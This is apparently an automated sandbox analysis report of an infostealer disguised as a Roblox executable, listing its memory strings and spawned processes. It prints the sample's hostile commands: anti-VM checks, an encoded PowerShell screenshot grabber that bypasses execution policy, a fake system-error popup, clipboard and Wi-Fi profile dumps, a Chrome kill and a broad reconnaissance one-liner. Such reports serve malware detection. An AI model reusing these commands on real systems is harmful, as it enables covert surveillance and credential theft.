Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938065782.00000213BE603000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945647945.00000213BE608000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V PowerShell Direct Service
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: asandboxacuckooavmavirtualaqemuavboxaxenanodeuAntiVM.CheckHostNameT
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Data Exchange Service
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Shutdown Service
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940721109.00000213BE12E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940139383.00000213BE111000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Service Interface
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmusrvc.exe
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: stub.exe, 00000003.00000002.1949761469.00000213BF5B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-VsizeEndCentDir
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uqemu-ga.exe
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvboxservice.exe
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmtoolsd.exe
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmsrvc.exe
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: cvmware
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmwaretray.exe
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop Virtualization Service
Source: stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicheartbeat
Source: stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicvss
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicshutdown
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: cVMware
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvboxtray.exe
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uwmic path Win32_ComputerSystem get ManufacturercVMwarecvmwareuAntiVM.CheckHypervisoraFakeErrorT

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded [Reflection.Assembly]::LoadWithPartialName("System.Drawing")function screenshot([Drawing.Rectangle]$bounds, $path) { $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save($path) $graphics.Dispose() $bmp.Dispose()}$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1920, 1080)$path = (Get-Item .).FullName+"\screenshot.png"screenshot $bounds $path
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded [Reflection.Assembly]::LoadWithPartialName("System.Drawing")function screenshot([Drawing.Rectangle]$bounds, $path) { $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save($path) $graphics.Dispose() $bmp.Dispose()}$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1920, 1080)$path = (Get-Item .).FullName+"\screenshot.png"screenshot $bounds $path

Source: C:\Users\user\Desktop\roblox1.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe C:\Users\user\Desktop\roblox1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"
